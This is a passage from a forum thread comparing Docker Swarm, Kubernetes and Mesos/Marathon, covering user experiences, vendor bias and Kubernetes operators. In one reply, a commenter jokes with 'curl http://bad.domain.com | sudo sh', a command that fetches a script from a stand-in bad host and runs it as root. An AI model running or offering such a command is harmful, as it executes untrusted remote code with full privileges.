I would like to share my personal experience running Meoss. I have been using Pure Mesos setup, without DC/OS for 2.5 years. We have the following infra features.: - 120 micro-services running using marathon. - 10 batch jobs running using Chronos. - So far, everything is reliable and no downtime. - We have Ip-Per-Task enabled with Project Calico. - We have Public, Private, and IP Access-list enabled per container usi…
Docker vs. Kubernetes vs. Mesos
31–40 of 79 posts
Re: Docker vs. Kubernetes vs. Mesos
#32I recently evaluated all 3 solutions. Here is how I see it after testing the waters: - want something simple that works today? Docker Swarm - want something amazingly flexible? Kubernetes - already use Mesos or DC/OS? Marathon/Mesos This article from Mesosphere is interesting and gives a good overview, but it downplays advantages of Swarm and Kubernetes and clearly highlights Mesos: Docker has 4 bullet points, Kubern…
Kubernetes runs on GCP, AWS, and Azure, and in various on-prem configurations (including on OpenStack). Disclosure: I work on Kubernetes at Google.
Re: Docker vs. Kubernetes vs. Mesos
#33Earlier quoted context omitted.
One more difference is Mesos is written in C++, while Kubernetes is written in Go.
Is that relevant?
So for the developers responsible for the uptime it could matter a lot if they are more comfortable with one of codebase or language they use.
Off course if you are more like a consumer app type of startup, just put all energy on UX and stuff and hope for the best. But lets hope every bank that uses this sort of stuff has a developer on call that can actually dive into the codebase.
Re: Docker vs. Kubernetes vs. Mesos
#34It feels downplayed in this article, so I would like to state for the record here, I am a happy user of Docker Swarm. Swarm has been shown to scale to tens of thousands of hosts, but I found it easy to start with, especially with the Gitlab CI support, which natively brings a Docker container registry. So I commit, CI builds my containers, stores them in my private registry, and automatically deploys from there to th…
How do you automate the updating of images on Docker Swarm?
Re: Docker vs. Kubernetes vs. Mesos
#35One more company with a "pricing" page that has no pricing information on it.
Re: Docker vs. Kubernetes vs. Mesos
#36Those kind of articles are not so useful, Mesosphere is the company behind DC/OS and Mesos and they have all the interest in the world to say that Mesos is the best. Things like "... are willing to get your hands dirty integrating your solution with the underlying infrastructure" when talking about Kubernetes is unfair, especially if you compare Kubernetes to Mesos and not to Mesosphere DC/OS for which they provide p…
[0]https://github.com/coreos/prometheus-operator [1]https://github.com/coreos/etcd-operator [2]https://github.com/huawei-cloudfederation/redis-operator [3]https://github.com/CrunchyData/postgres-operator [4]https://github.com/krallistic/kafka-operator [5]https://github.com/pegerto/cassandra-operator
Re: Docker vs. Kubernetes vs. Mesos
#37Those kind of articles are not so useful, Mesosphere is the company behind DC/OS and Mesos and they have all the interest in the world to say that Mesos is the best. Things like "... are willing to get your hands dirty integrating your solution with the underlying infrastructure" when talking about Kubernetes is unfair, especially if you compare Kubernetes to Mesos and not to Mesosphere DC/OS for which they provide p…
Exactly. The frameworks that the article describes know how to run say Cassandra or Spark, but you can do the same thing in Kubernetes using TPRs or CRDs with operators: [0] https://github.com/coreos/prometheus-operator [1] https://github.com/coreos/etcd-operator [2] https://github.com/huawei-cloudfederation/redis-operator [3] https://github.com/CrunchyData/postgres-operator [4] https://github.com/krallistic/kafka-op…
Re: Docker vs. Kubernetes vs. Mesos
#38Earlier quoted context omitted.
Kubernetes runs on GCP, AWS, and Azure, and in various on-prem configurations (including on OpenStack). Disclosure: I work on Kubernetes at Google.
Hello David, thanks for your input here! I was wondering specifically about a hybrid cloud / multi-az setup. Does Kubernetes support that?
https://kubernetes.io/docs/concepts/cluster-administration/f...
Re: Docker vs. Kubernetes vs. Mesos
#39Earlier quoted context omitted.
They said legacy applications. You can run a command or script or binary in Mesos / marathon. In Kubernetes, you can run only containers. So at the minimal, your legacy app has to be containerized / dockerized.
> You can run a command or script or binary in Mesos / marathon. Where does the binary come from, if not from a container?
curl http://bad.domain.com | sudo sh
naturallyTo be fair, we put our payloads on S3 and tell our universal executor to fetch & unpack them & run a configured command. We successfully wrote an xargs-replacement as a Mesos framework which worked pretty well.
Re: Docker vs. Kubernetes vs. Mesos
#40Earlier quoted context omitted.
They said legacy applications. You can run a command or script or binary in Mesos / marathon. In Kubernetes, you can run only containers. So at the minimal, your legacy app has to be containerized / dockerized.
> You can run a command or script or binary in Mesos / marathon. Where does the binary come from, if not from a container?
https://mesosphere.github.io/marathon/docs/application-basic...
The Mesos executor can run shell commands or Docker containers.